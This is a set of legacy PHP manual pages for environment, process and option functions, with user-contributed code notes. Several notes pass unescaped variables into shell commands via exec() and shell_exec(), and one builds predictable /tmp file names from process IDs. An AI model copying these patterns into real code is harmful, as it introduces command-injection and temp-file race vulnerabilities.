(PHP 4, PHP 5)

get_required_files — Alias of get_included_files()

Description

This function is an alias of: get_included_files().

User Contributed Notes

There are no user contributed notes for this page.
get_magic_quotes_runtime
getenv
PHP Options/Info Functions


Gets the value of an environment variable

get_required_files
getlastmod
PHP Options/Info Functions
PHP Manual

getenv

(PHP 4, PHP 5)

getenv — Gets the value of an environment variable

Description

string getenv ( string $varname )

Gets the value of an environment variable.

You can see a list of all the environmental variables by using phpinfo(). Many of these variables are listed within » RFC 3875, specifically section 4.1, "Request Meta-Variables".

Parameters

varname

The variable name.

Return Values

Returns the value of the environment variable varname, or FALSE if the environment variable varname does not exist.

Examples

Example #1 getenv() Example

<?php
// Example use of getenv()
$ip = getenv('REMOTE_ADDR');

// Or simply use a Superglobal ($_SERVER or $_ENV)
$ip = $_SERVER['REMOTE_ADDR'];
?>

See Also

  • putenv() - Sets the value of an environment variable
  • apache_getenv() - Get an Apache subprocess_env variable
  • Superglobals

User Contributed Notes

eng.mrkto.com 29-Jul-2010 11:36
This function is useful (compared to $_SERVER, $_ENV) because it searches $varname key in those array case-insensitive manner.
For example on Windows $_SERVER['Path'] is like you see Capitalized, not 'PATH' as you expected.
So just: <?php getenv('path') ?>
chuck dot reeves at gmail dot com 06-May-2010 11:59
When writing CLI applications, not that any environment variables that are set in your web server config will not be passed through.  PHP will pass through system environment variables that are prefixed based off the safe_mode_allowed_env_vars directive in your php.ini
f dot hartmann2 at gmx dot net 23-Jul-2009 05:42
A function returning the remote adress of the visiting browser could look like this:

<?php
function getIPfromXForwarded() {
    $ipString=@getenv("HTTP_X_FORWARDED_FOR");
    $addr = explode(",",$ipString);
    return $addr[sizeof($addr)-1];
}
?>

Note that some adresses are followed by a whitespace and ip2long(getIPfromXForwarded()) would not return the expected result.

Make use of trim() in your scripts, either in the function itself, or the surrounding space of the caller.

Greetings
estarapapax at gmail dot com 18-Feb-2009 09:19
This is a sample function for checking if your visitor comes from this certain country. This is especially useful for amateur webmasters who don't want to use sql databases.

Sample use of function:
<?php
if(check_coutry('http://www.domain.com/files/philippines.csv') === true)
      echo 'You are from the Philippines';
?>

Basically, you'll need CSV (or TXT) which lists the IP ranges of a certain country. Example (excerpt of the philippines.csv only):

58.69.0.0, 58.69.255.255
58.71.0.0, 58.71.127.255
61.9.0.0, 61.9.127.255
61.14.28.0, 61.14.28.63
61.14.41.136, 61.14.41.143
and so on until the end

You may obtain these CSV files in a number of websites out there. Be sure to update these CSV files regularly as these IP ranges change from time to time.

Here is the function:
<?php
function check_country($url_csv){
$curl_handle = curl_init();
curl_setopt($curl_handle, CURLOPT_URL, $url_csv);
curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);
$str_fromfile = curl_exec($curl_handle);
curl_close($curl_handle);
$range = explode("\n", $str_fromfile);

$ip_addr = getenv(REMOTE_ADDR); //gets the IP of the visitor
$ip_byte = explode('.', $ip_addr);
$ip_number = (16777216 * (int) $ip_byte[0]) + (65536 * (int) $ip_byte[1]) + (256 * (int) $ip_byte[2]) + ((int) $ip_byte[3]);

for($i = 0; $range[$i] != NULL && $is_positive == NULL; $i++){ // the condition $line[$i] != NULL means that you should not put blank lines before the end of your CSV. The values should start at line 1.
    $range[$i] = rtrim(ltrim($range[$i])); //you may remove this if you are sure the CSV doesnt contain whitespaces
    $ends_addr = explode(',', $range[$i]); //for CSV (comma-separated values), comma is the separator. You may change this if your TXT uses different separator.
    $ends_addr[0] = rtrim($ends_addr[0]); //again, you may remove this if your CSV is free from whitespaces
    $ends_addr[1] = ltrim($ends_addr[1]); //yet, again
    $start_ip_byte = explode('.', $ends_addr[0]);
    $end_ip_byte = explode('.', $ends_addr[1]);
    $start_ip_number = (16777216 * (int) $start_ip_byte[0]) + (65536 * (int) $start_ip_byte[1]) + (256 * (int) $start_ip_byte[2]) + ((int) $start_ip_byte[3]);
    $end_ip_number = (16777216 * (int) $end_ip_byte[0]) + (65536 * (int) $end_ip_byte[1]) + (256 * (int) $end_ip_byte[2]) + ((int) $end_ip_byte[3]);

    if($ip_number >= $start_ip_number && $ip_number <= $end_ip_number)
            $is_positive = 1;
}

    if($is_positive == 1)
        return true;
    else
        return false;
}
?>
sam at sambarrow dot com 12-Mar-2008 05:32
SERVER_NAME is the name defined in the apache configuration.
HTTP_HOST is the host header sent by the client when using the more recent versions of the http protocol.
renko at <remove>virtual-life dot net 08-Nov-2004 06:40
The function 'getenv' does not work if your Server API is ASAPI (IIS).

So, try to don't use getenv('REMOTE_ADDR'), but $_SERVER["REMOTE_ADDR"].
kyong 04-Feb-2004 01:06
As you know, getenv('DOCUMENT_ROOT') is useful.
However, under CLI environment(I tend to do quick check
if it works or not), it doesn't work without modified php.ini
file. So I add "export DOCUMENT_ROOT=~" in my .bash_profile.
daman at SPAM_BlockERmralaska dot com 08-Sep-2002 06:37
Be careful using HTTP_X_FORWARDED_FOR in conditional statements collecting the IP address. Sometimes the user's LAN address will get forwarded, which of course is pretty worthless by itself.
alex at acid-edge dot net 23-Jul-2002 10:32
Note that some caches seem to send the client-ip header *backwards*. be careful :)
john-php at pc dot xs4all dot nl 15-Aug-2000 06:56
Note that the X-Forwarded for header might contain multiple addresses, comma separated, if the request was forwarded through multiple proxies.

Finally, note that any user can add an X-Forwarded-For header themselves. The header is only good for traceback information, never for authentication. If you use it for traceback, just log the entire X-Forwarded-For header, along with the REMOTE_ADDR.
get_required_files
getlastmod
PHP Options/Info Functions


Gets time of last page modification

getenv
getmygid
PHP Options/Info Functions
PHP Manual

getlastmod

(PHP 4, PHP 5)

getlastmod — Gets time of last page modification

Description

int getlastmod ( void )

Gets the time of the last modification of the current page.

If you're interested in getting the last modification time of a different file, consider using filemtime().

Return Values

Returns the time of the last modification of the current page. The value returned is a Unix timestamp, suitable for feeding to date(). Returns FALSE on error.

Examples

Example #1 getlastmod() example

<?php
// outputs e.g. 'Last modified: March 04 1998 20:43:59.'
echo "Last modified: " . date ("F d Y H:i:s.", getlastmod());
?>

See Also

  • date() - Format a local time/date
  • getmyuid() - Gets PHP script owner's UID
  • getmygid() - Get PHP script owner's GID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getmypid() - Gets PHP's process ID
  • filemtime() - Gets file modification time

User Contributed Notes

erik dot stetina at gmail dot com 27-Sep-2011 03:47
function for displaying last modification time accross more direcotries. e.g. to display last modification date in "about" section of your web page

<?php
function array_prefix_values($prefix, $array)
{
  $callback = create_function('$s','return "'.$prefix.'".$s;');
  return array_map($callback,$array);
}

function get_last_update()
{
  if ( func_num_args() < 1 ) return 0;
  $dirs = func_get_args();
  $files = array();
  foreach ( $dirs as $dir )
  {
    $subfiles = scandir($dir);
    $subfiles = array_prefix_values($dir,$subfiles);
    $subfiles = array_filter($subfiles,"is_file");
    $files = array_merge($files,$subfiles);
  }
  $maxtimestamp = 0;
  $maxfilename = "";
  foreach ( $files as $file )
  {
    $timestamp = filemtime($file);
    if ( $timestamp > $maxtimestamp )
    {
      $maxtimestamp = $timestamp;
      $maxfilename = $file;
    }
  }
  return date("Ymd",$maxtimestamp)." ($maxfilename)";
}

print "last update: ".get_last_update("./lib/", "./css/", "./lang/");
?>

OUTPUT:
last update: 20110927 (./lang/sk.php)
Ant P. 24-Feb-2010 10:48
If you use register_shutdown_function() on certain SAPIs, various filesystem-related things inside the shutdown function might do unexpected things, one of which being this function can return false.

On the other hand getlastmod() apparently caches the return value, so if you use it at least once in normal code it should work for the remainder of the request.
rwruck 17-Oct-2004 06:28
DO NOT use this function unless you are absolutely sure both your Apache and PHP have been compiled with the same value for -DFILE_OFFSET_BITS.

If not, this function will return the access time (or maybe even garbage) instead of the modification time due do Apache and PHP using different versions of the stat structure.

This is true regardless of Apache and PHP version.

To be on the safe side, always use the workaround already posted below:
filemtime($_SERVER['SCRIPT_FILENAME'])
19-May-2004 04:36
Setting the 'Last-Modified' header:
<?php
setlocale(LC_TIME, "C");
$ft = filemtime ('referencefile');
$localt = mktime ();
$gmtt = gmmktime ();
$ft = $ft - $gmtt + $localt;
$modified = strftime ("%a, %d %b %Y %T GMT", $ft);
?>
timeflys at users dot sourceforget dot net 20-Mar-2003 01:28
I found issues using getlastmod() to test whether or not I was successful in setting the Last Modified date in the header. The code below shows the same Last Modified date before and after I set the Last-Modified header.

<?php
//True modified date
$modified = date ("F d Y H:i:s.", getlastmod());

//artificial modified date - sent to header
$last_modified = gmdate('D, d M Y H:i:s T', (time() - 43200));

//caching prevention
header("Last-Modified: $last_modified GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");                          // HTTP/1.0

$getlast_modified = date ("F d Y H:i:s.", getlastmod());

print "True modified date(Before): $modified <p /> Date sent to header(After): $getlast_modified";
?>

I then used the PEAR, HTTP_Request class which worked, the Last-Modified date updates everytime it is requested, the desired effect.

<?php
require 'HTTP/Request.php';
$r = new HTTP_Request('http://www.sample.com/page.php');
$r->sendRequest();
$response_headers = $r->getResponseHeader();
print $response_headers["last-modified"];
?>
Richard Anderson(r85anderson at yahoo dot com) 17-Nov-2002 01:33
for includes....

<?php
//include.php
$file = __FILE__;
$lastmod = date("M d, Y @ h:ia", filemtime($file));
?>

<?php
//footer.php
echo("page last modified: $lastmod");
?>

[EDIT by danbrown AT php DOT net: Remember that $lastmod must not be a variable that is set or unset anywhere else in the script, or it will not work as expected when printed from the footer.]
kworthington ([no@spam)] linuxmaildotorg 03-Oct-2002 03:33
I was just informed of a workaround for the Apache 2.0 issue, do:
echo "Last modified: " . date("D F d Y h:i:s A", filemtime($_SERVER["SCRIPT_FILENAME"]));
Thanks to: Edward S. Marshall
getenv
getmygid
PHP Options/Info Functions


Get PHP script owner's GID

getlastmod
getmyinode
PHP Options/Info Functions
PHP Manual

getmygid

(PHP 4 >= 4.1.0, PHP 5)

getmygid — Get PHP script owner's GID

Description

int getmygid ( void )

Gets the group ID of the current script.

Return Values

Returns the group ID of the current script, or FALSE on error.

See Also

  • getmyuid() - Gets PHP script owner's UID
  • getmypid() - Gets PHP's process ID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

07-May-2006 10:04
To clarify, the getmygid() function gets the gid of the PHP script, that is the gid of the file.

To get the effective gid of the running PHP engine, use the posix_getegid() function.
getlastmod
getmyinode
PHP Options/Info Functions


Gets the inode of the current script

getmygid
getmypid
PHP Options/Info Functions
PHP Manual

getmyinode

(PHP 4, PHP 5)

getmyinode — Gets the inode of the current script

Description

int getmyinode ( void )

Gets the inode of the current script.

Return Values

Returns the current script's inode as an integer, or FALSE on error.

See Also

  • getmygid() - Get PHP script owner's GID
  • getmyuid() - Gets PHP script owner's UID
  • getmypid() - Gets PHP's process ID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

There are no user contributed notes for this page.
getmygid
getmypid
PHP Options/Info Functions


Gets PHP's process ID

getmyinode
getmyuid
PHP Options/Info Functions
PHP Manual

getmypid

(PHP 4, PHP 5)

getmypid — Gets PHP's process ID

Description

int getmypid ( void )

Gets the current PHP process ID.

Return Values

Returns the current PHP process ID, or FALSE on error.

Notes

Warning

Process IDs are not unique, thus they are a weak entropy source. We recommend against relying on pids in security-dependent contexts.

See Also

  • getmygid() - Get PHP script owner's GID
  • getmyuid() - Gets PHP script owner's UID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

pdc at example dot com 29-Dec-2011 12:50
Here is how you'd use exec on a posix system to accomplish counting processes quickly.

I want to know how many processes are running with 'update.php' in the command:

ps aux|grep "[u]pdate.php"|wc -l

(the trick of using [u]pdate.php instead of update.php makes sure that the grep command itself is not matched).  Be sure to use quotes in the command, or it won't work either.

So, the code:

<?php
function countProcesses($scriptName)
{
    // ps aux|grep "[u]pdate.php"|wc -l
    $first    =    substr($scriptName, 0, 1);
    $rest    =    substr($scriptName, 1);

    $name    =    '"['.$first.']'.$rest.'"';
    $cmd    =    "ps aux | grep $name | wc -l";

    $result    =    exec($cmd);

    return $result;
}
?>
wouter99999 at gmail dot com 05-Jun-2011 03:03
On windows, ps is not available. Instead, to view a list of running processes, you can use exec('tasklist'); To kill processes you can use exec('taskkill); Enter taskkill /? for more information.
Robert Mays Jr 04-May-2011 09:39
All of the examples above require you to have shell command execution turned on- this example uses only PHP functions and should work on any system (posix is included by default)-

the key is posix_getsid which will return FALSE if the processes does not exist.

<?php
$lockfile = sys_get_temp_dir() . '/myScript.lock';
$pid = file_get_contents($lockfile);
if (posix_getsid($pid) === false) {
   print "process has died! restarting...\n";
   file_put_contents($lockfile, getmypid()); // create lockfile
} else {
   print "PID is still alive! can not run twice!\n";
   exit;
}
?>

:-) perfect if you need to make sure a cron job or shell script has ended before it can be started again.

This works across users- if the cron job is started as 'root' your 'web user' can see if the process is still alive (useful for system status pages)
gabe at fijiwebdesign dot com 02-Feb-2010 09:53
Based on what james at voodoo dot co dot uk said, but modified for CLI scripts (ie: there is no $_SERVER).

<?php

/**
 * Check for a current process by filename
 * @param $file[optional] Filename
 * @return Boolean
 */
function processExists($file = false) {

    $exists     = false;
    $file       = $file ? $file : __FILE__;

    // Check if file is in process list
    exec("ps -C $file -o pid=", $pids);
    if (count($pids) > 1) {
        $exists = true;
    }
    return $exists;
}

?>
james at voodoo dot co dot uk 25-Dec-2009 01:50
The 'ps' command has an option that can make filtering for a specific process more efficient.  Using this the work of looking for matching processes can be made neater:

<?php
    /*
    Return an array of the pids of the processes that are running for the specific command
    e.g.
        returnPids('myprocess.php');
    */
    function returnPids($command) {
        exec("ps -C $command -o pid=",$pids);
        foreach ($pids as $key=>$value) $pids[$key]=trim($value);
        return $pids;
    }

    /*
    Returns an array of the pids for processes that are like me, i.e. my program running
    */
    function returnMyPids() {
        return returnPids(basename($_SERVER["SCRIPT_NAME"]));
    }
?>

e.g. to bomb out if I'm running already

if (count(returnMyPids())>1) exit;
Erickson Reyes ercbluemonday at yahoo dot com 10-Nov-2009 05:01
We also had this challenge in our company to prevent a php script in a cron job from overlapping each other.

We made this solution

<?php
        // Initialize variables
    $found            = 0;
    $file                 = basename(__FILE__);
    $commands    = array();

        // Get running processes.
    exec("ps w", $commands);

        // If processes are found
    if (count($commands) > 0) {

        foreach ($commands as $command) {
            if (strpos($command, $file) === false) {
                               // Do nothin'
            }
            else {
                               // Let's count how many times the file is found.
                $found++;
            }
        }
    }

        // If the instance of the file is found more than once.
    if ($found > 1) {
        echo "Another process is running.\n";
        die();
    }

        /**
        *
        * Regular process here...
        *
        */
?>
Kevin Traas (ktraas- at -gmail dot com) 25-Sep-2009 01:51
Looking to create a lock-file mechanism for a cmd-line script?

Enjoy!

#!/usr/bin/php
<?php

define( 'LOCK_FILE', "/var/run/".basename( $argv[0], ".php" ).".lock" );
if( isLocked() ) die( "Already running.\n" );

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

unlink( LOCK_FILE );
exit(0);

function isLocked()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if( file_exists( LOCK_FILE ) )
    {
        # check if it's stale
        $lockingPID = trim( file_get_contents( LOCK_FILE ) );

       # Get all active PIDs.
        $pids = explode( "\n", trim( `ps -e | awk '{print $1}'` ) );

        # If PID is still active, return true
        if( in_array( $lockingPID, $pids ) )  return true;

        # Lock-file is stale, so kill it.  Then move on to re-creating it.
        echo "Removing stale lock file.\n";
        unlink( LOCK_FILE );
    }

    file_put_contents( LOCK_FILE, getmypid() . "\n" );
    return false;

}
?>
kroczu at interia dot pl 19-Dec-2005 04:59
<?php
/*

mixed getpidinfo(mixed pid [, string system_ps_command_options])

this function gets PID-info from system ps command and return it in useful assoc-array,
or return false and trigger warning if PID doesn't exists

$pidifo=getpidinfo(12345);

print_r($pidifo);

Array
(
    [USER] => user
    [PID] => 12345
    [%CPU] => 0.0
    [%MEM] => 0.0
    [VSZ] => 1720
    [RSS] => 8
    [TT] => ??
    [STAT] => Is
    [STARTED] => 6:00PM
    [TIME] => 0:00.01
    [COMMAND] => php someproces.php > logfile
)

*/

//////////////////////////////////////////////

function getpidinfo($pid, $ps_opt="aux"){

   $ps=shell_exec("ps ".$ps_opt."p ".$pid);
   $ps=explode("\n", $ps);

   if(count($ps)<2){
      trigger_error("PID ".$pid." doesn't exists", E_USER_WARNING);
      return false;
   }

   foreach($ps as $key=>$val){
      $ps[$key]=explode(" ", ereg_replace(" +", " ", trim($ps[$key])));
   }

   foreach($ps[0] as $key=>$val){
      $pidinfo[$val] = $ps[1][$key];
      unset($ps[1][$key]);
   }

   if(is_array($ps[1])){
      $pidinfo[$val].=" ".implode(" ", $ps[1]);
   }
   return $pidinfo;
}

?>
Pure-PHP 21-Mar-2005 02:26
You can use this function also to avoid more than one instance of your app.

You can also use this class.
http://www.pure-php.de/node/20

Usage:

<?php

inlude("ProcessHandler.class.php");

if(ProcessHandler::isActive()){
   die("Already running!\n";);
}else{
   ProcessHandler::activate();
   //run my app
}

?>
brooke at jump dot net 24-Oct-2003 05:49
One good use for this is deciding on a concurrency-safe temporary file or directory name. You can be assured that no two processes on the same server have the same PID, so this is enough to avoid collisions. For example:

<?php
$tmpfile = "/tmp/foo_".getmypid();
// Use $tmpfile...
// Use $tmpfile...
// Use $tmpfile...
unlink ($tmpfile);
?>

If you are sharing /tmp over the network (which is odd....) then you can, of course, mix in the PHP server's IP address.
getmyinode
getmyuid
PHP Options/Info Functions


Gets PHP script owner's UID

getmypid
getopt
PHP Options/Info Functions
PHP Manual

getmyuid

(PHP 4, PHP 5)

getmyuid — Gets PHP script owner's UID

Description

int getmyuid ( void )

Gets the user ID of the current script.

Return Values

Returns the user ID of the current script, or FALSE on error.

See Also

  • getmygid() - Get PHP script owner's GID
  • getmypid() - Gets PHP's process ID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

bozo_z_clown at yahoo dot com 20-Jun-2007 11:06
Note that this function really does what the description says, it returns the numeric user id of the user who *owns the file* containing the current script not the effective user id of user *running* the current script.  Most applications will want the latter which is provided by posix_getuid().
sRp at srparish dot net 04-Apr-2000 02:48
After running into this problem, i wrote a program which you can install as setuid root in you php safemode exec dir. (defined in php3.ini)  You then can do system() calls to this program to change the ownership of file, in a fassion such so that it shouldn't allow people to break the security of your box.  You can get the program at http://srparish.net/scripts/chuid-1.0.tar.gz
getmypid
getopt
PHP Options/Info Functions


Gets options from the command line argument list

getmyuid
getrusage
PHP Options/Info Functions
PHP Manual

getopt

(PHP 4 >= 4.3.0, PHP 5)

getopt — Gets options from the command line argument list

Description

array getopt ( string $options [, array $longopts ] )

Parses options passed to the script.

Parameters

options
Each character in this string will be used as option characters and matched against options passed to the script starting with a single hyphen (-). For example, an option string "x" recognizes an option -x. Only a-z, A-Z and 0-9 are allowed.
longopts
An array of options. Each element in this array will be used as option strings and matched against options passed to the script starting with two hyphens (--). For example, an longopts element "opt" recognizes an option --opt.

The options parameter may contain the following elements:

  • Individual characters (do not accept values)
  • Characters followed by a colon (parameter requires value)
  • Characters followed by two colons (optional value)
Option values are the first argument after the string. It does not matter if a value has leading white space or not.

Note: Optional values do not accept " " (space) as a separator.

Note:

The format for the options and longopts is almost the same, the only difference is that longopts takes an array of options (where each element is the option) where as options takes a string (where each character is the option).

Return Values

This function will return an array of option / argument pairs or FALSE on failure.

Note:

The parsing of options will end at the first non-option found, anything that follows is discarded.

Changelog

Version | Description
5.3.0 | Added support for "=" as argument/value separator.
5.3.0 | Added support for optional values (specified with "::").
5.3.0 | Parameter longopts is available on all systems.
5.3.0 | This function is no longer system dependent, and now works on Windows, too.

Examples

Example #1 getopt() example

<?php
$options = getopt("f:hp:");
var_dump($options);
?>

Running the above script with php script.php -fvalue -h will output:

array(2) {
  ["f"]=>
  string(5) "value"
  ["h"]=>
  bool(false)
}

Example #2 getopt() example#2

<?php
$shortopts  = "";
$shortopts .= "f:";  // Required value
$shortopts .= "v::"; // Optional value
$shortopts .= "abc"; // These options do not accept values

$longopts  = array(
    "required:",     // Required value
    "optional::",    // Optional value
    "option",        // No value
    "opt",           // No value
);
$options = getopt($shortopts, $longopts);
var_dump($options);
?>

Running the above script with php script.php -f "value for f" -v -a --required value --optional="optional value" --option will output:

array(6) {
  ["f"]=>
  string(11) "value for f"
  ["v"]=>
  bool(false)
  ["a"]=>
  bool(false)
  ["required"]=>
  string(5) "value"
  ["optional"]=>
  string(14) "optional value"
  ["option"]=>
  bool(false)
}

Example #3 getopt() example#3

Passing multiple options as one

<?php
$options = getopt("abc");
var_dump($options);
?>

Running the above script with php script.php -aaac will output:

array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    bool(false)
    [1]=>
    bool(false)
    [2]=>
    bool(false)
  }
  ["c"]=>
  bool(false)
}

See Also

  • $argv

User Contributed Notes

Anonymous 02-Feb-2011 04:33
getopt() only returns the options specified if they were listed in the options.

So you cant make a switch() use default: to complain of an unknown option. :(
mpartap at gmx dot net 24-Oct-2010 01:39
Here's another way of removing options found by getopt() from the argv[] array. It handles the different kind of parameters without eating chunks that do not belong to an --option. (-nr foo param1 param2 foo)
<?php
$parameters = array(
  'n' => 'noparam',
  'r:' => 'required:',
  'o::' => 'optional::',
);

$options = getopt(implode('', array_keys($parameters)), $parameters);
$pruneargv = array();
foreach ($options as $option => $value) {
  foreach ($argv as $key => $chunk) {
    $regex = '/^'. (isset($option[1]) ? '--' : '-') . $option . '/';
    if ($chunk == $value && $argv[$key-1][0] == '-' || preg_match($regex, $chunk)) {
      array_push($pruneargv, $key);
    }
  }
}
while ($key = array_pop($pruneargv)) unset($argv[$key]);
?>
geoff at gosquared dot com 08-May-2010 05:05
It seems under PHP 5.3.2, getopt() makes a script fail to load if called via HTTP without any conditions. You'll need something like if(isset($_SERVER['argc'])) $args = getopt(); to prevent that.
m at ttcarter dot com 15-Mar-2009 03:36
I wrote a library some time ago to counter some of the missing features of the rather limited 'getopt' function. The library as well documentation can be found on my website at http://hash-bang.net/2008/12/missing-php-functions-getopts/

It provides functionality for long switches (e.g. '--delete'), incrementing switches (e.g. '-v -v -v' or '-vvv' for very, very verbose), long values (e.g. '--exclude this.file') and lots more.
suichengw at gmail dot com 16-Aug-2008 10:28
I really need long options but it's not supported in 5.2.6 on my Solaris box so I wrote an _getopt() to simulate getopt().

An example

======== a.php ========
#!/usr/local/bin/php
<?php
include "getopt.inc";

$shortopts  = "f:v::abc:hp";

$longopts  = array(
    "required:",     // Required value
    "optional::",    // Optional value
    "option",        // No value
    "opt",           // No value
);

$options = _getopt( $shortopts, $longopts);

var_dump($options);
?>
====== end of a.php ======

then run the file a.php,

# ./a.php -f "test 2" -ab --required "test 1" --optional="test 3" --option -v "test 4" -k
array(7) {
  ["f"]=>
  string(6) "test 2"
  ["a"]=>
  bool(false)
  ["b"]=>
  bool(false)
  ["required"]=>
  string(6) "test 1"
  ["optional"]=>
  string(6) "test 3"
  ["option"]=>
  bool(false)
  ["v"]=>
  string(6) "test 4"
}

Source code is a bit longer and not allowed by this site. Please go to my page http://www.ntu.beautifulworldco.com/weblog/?p=526 for it.
mbirth at webwriters dot de 24-May-2008 01:41
After getopt() of PHP5.3.0 (on Windows) ignored some parameters if there was a syntactical problem, I decided to code my own generic parameter parser.

<?php
    /**
     * Parses $GLOBALS['argv'] for parameters and assigns them to an array.
     *
     * Supports:
     * -e
     * -e <value>
     * --long-param
     * --long-param=<value>
     * --long-param <value>
     * <value>
     *
     * @param array $noopt List of parameters without values
     */
    function parseParameters($noopt = array()) {
        $result = array();
        $params = $GLOBALS['argv'];
        // could use getopt() here (since PHP 5.3.0), but it doesn't work relyingly
        reset($params);
        while (list($tmp, $p) = each($params)) {
            if ($p{0} == '-') {
                $pname = substr($p, 1);
                $value = true;
                if ($pname{0} == '-') {
                    // long-opt (--<param>)
                    $pname = substr($pname, 1);
                    if (strpos($p, '=') !== false) {
                        // value specified inline (--<param>=<value>)
                        list($pname, $value) = explode('=', substr($p, 2), 2);
                    }
                }
                // check if next parameter is a descriptor or a value
                $nextparm = current($params);
                if (!in_array($pname, $noopt) && $value === true && $nextparm !== false && $nextparm{0} != '-') list($tmp, $value) = each($params);
                $result[$pname] = $value;
            } else {
                // param doesn't belong to any option
                $result[] = $p;
            }
        }
        return $result;
    }
?>

A call like: php.exe -f test.php -- alfons -a 1 -b2 -c --d 2 --e=3=4 --f "alber t" hans wurst

and an in-program call parseParameters(array('f')); would yield in a resulting array:

Array
(
    [0] => alfons
    [a] => 1
    [b2] => 1
    [c] => 1
    [d] => 2
    [e] => 3=4
    [f] => 1
    [1] => alber t
    [2] => hans
    [3] => wurst
)

As you can see, values without an identifier are stored with numeric indexes. Existing identifiers without values get "true".
uberlinuxguy at tulg dot org 25-Apr-2008 01:26
One thing of important note would be that getopt() actually respects the '--' option to end an option list.  Thus given the code:

test.php:
<?php
    $options = getopt("m:g:h:");
    if (!is_array($options) ) {
        print "There was a problem reading in the options.\n\n";
        exit(1);
    }
    $errors = array();
    print_r($options);
?>

And running:

# ./test.php ./run_vfs  -h test1 -g test2 -m test3 -- this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => test3
)

Whereas running:
# /test.php ./run_vfs  -h test1 -g test2 -m test3 this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => Array
        (
            [0] => test3
            [1] => green
        )

)
Francois Hill 19-Nov-2007 12:44
Although very interesting, koenbollen at gnospamail dot com's update of the argv array fails when option values follow the option with no space :
Indeed
    php MyScript.php5 -t5
and
    php MyScript.php5 -t 5
with $options="t:" are treated as the same by getopt.

This upgraded function should take care of it :

File : shift_test.php5
<?php
    function shift($options_array)
    {
        foreach( $options_array as $o => $a )
        {
            // Look for all occurrences of option in argv and remove if found :
            // ----------------------------------------------------------------
            // Look for occurrences of -o (simple option with no value) or -o<val> (no space in between):
            while($k=array_search("-".$o.$a,$GLOBALS['argv']))
            {    // If found remove from argv:
                if($k)
                    unset($GLOBALS['argv'][$k]);
            }
            // Look for remaining occurrences of -o <val> (space in between):
            while($k=array_search("-".$o,$GLOBALS['argv']))
            {    // If found remove both option and value from argv:
                if($k)
                {    unset($GLOBALS['argv'][$k]);
                    unset($GLOBALS['argv'][$k+1]);
                }
            }
        }
        // Reindex :
        $GLOBALS['argv']=array_merge($GLOBALS['argv']);
    }

    print_r($argv);
    $options_array=getopt('t:h');
    shift($options_array);
    print_r($argv);
?>

>php shift_test.php5 -h -t4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t4
    [3] => param1
    [4] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)

>php shift_test.php5 -h -t 4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t
    [3] => 4
    [4] => param1
    [5] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)
Damien B. 07-Nov-2007 10:47
This is how I handle arguments with getopt: I use switch within a foreach at the beginning of a program.

<?php

$opts = getopt('hs:');

// Handle command line arguments
foreach (array_keys($opts) as $opt) switch ($opt) {
  case 's':
    // Do something with s parameter
    $something = $opts['s'];
    break;

  case 'h':
    print_help_message();
    exit(1);
}

print "$something\n";

?>
Gu1ll4um3r0m41n at nospam dot xx 23-Apr-2007 11:40
<?php
function getopt_($opts, $argv) {
    $opts_array = explode(':', $opts);
    foreach($opts_array as $opt) {
        $key = array_search($opt, $argv);
        if($key && !in_array($argv[$key+1], $opts_array)) {
            $result[$opt] = trim($argv[$key+1]);
        } elseif($key) {
            $result[$opt] = '';
        }
    }
    return $result;
}
$result = getopt('-h:-o:--help', $argv);
?>
koenbollen at gnospamail dot com 29-Mar-2007 12:51
After you use the getopt function you can use the following script to update the $argv array:
<?php
  $options = "c:ho:s:t:uvV";
  $opts = getopt( $options );
  foreach( $opts as $o => $a )
  {
    while( $k = array_search( "-" . $o, $argv ) )
    {
      if( $k )
        unset( $argv[$k] );
      if( preg_match( "/^.*".$o.":.*$/i", $options ) )
        unset( $argv[$k+1] );
    }
  }
  $argv = array_merge( $argv );
?>
Note: I used the array_merge function to reindex the array's keys.

Cheers, Koen Bollen
17-Jan-2007 11:59
About getopt(String):
 Parses the command-line arguments into an associative array, using the function's String parameter to specify arguments and options, thus:
* arguments are specified as any letter followed by a colon, e.g. "h:".
* arguments are returned as "h" => "value".
* options are specified as any letter not followed by a colon, e.g. "r".
* options are returned as "r" => (boolean) false.

Also note that:
1) Options or arguments not passed in the command-line parameters are not set in the returned associative array.
2) Options or arguments present in the command-line arguments multiple times are returned as an enumerated array within the returned associative array.
yarco dot w at gmail dot com 24-Oct-2006 07:08
You cant use this function twice or more.

For example:
<?php
print_r(getopt('a:b:c:'));
print_r(getopt('d:e:f:'));
?>

You would be confused by the result.
[yarco@localhost ~]$ php test3.php -a love -b love -d love
Array
(
    [a] => love
    [b] => love
)
Array
(
    [e] => love
    [d] => love
)
joey at alegria dot co dot jp 30-Apr-2006 09:57
There are 2 simpler (and much faster) methods for getting good getopt() operation without creating your own handler.

1. Use the Console_Getopt PEAR class (should be standard in most PHP installations) which lets you specify both short and long form options as well as whether or not arguments supplied to an option are themselves 'optional'. Very simple to use and requires very little code to operate compaired to writing own handler.

2. If you cannot load external PEAR objects, use your shell's getopt() functions (which in BASHs case work very well) to process options and have your shell script then call your PHP script with a rigid argument structure that is very easy for PHP to digest such as:
% myfile.php -a TRUE -b FALSE -c ARGUMENT ...
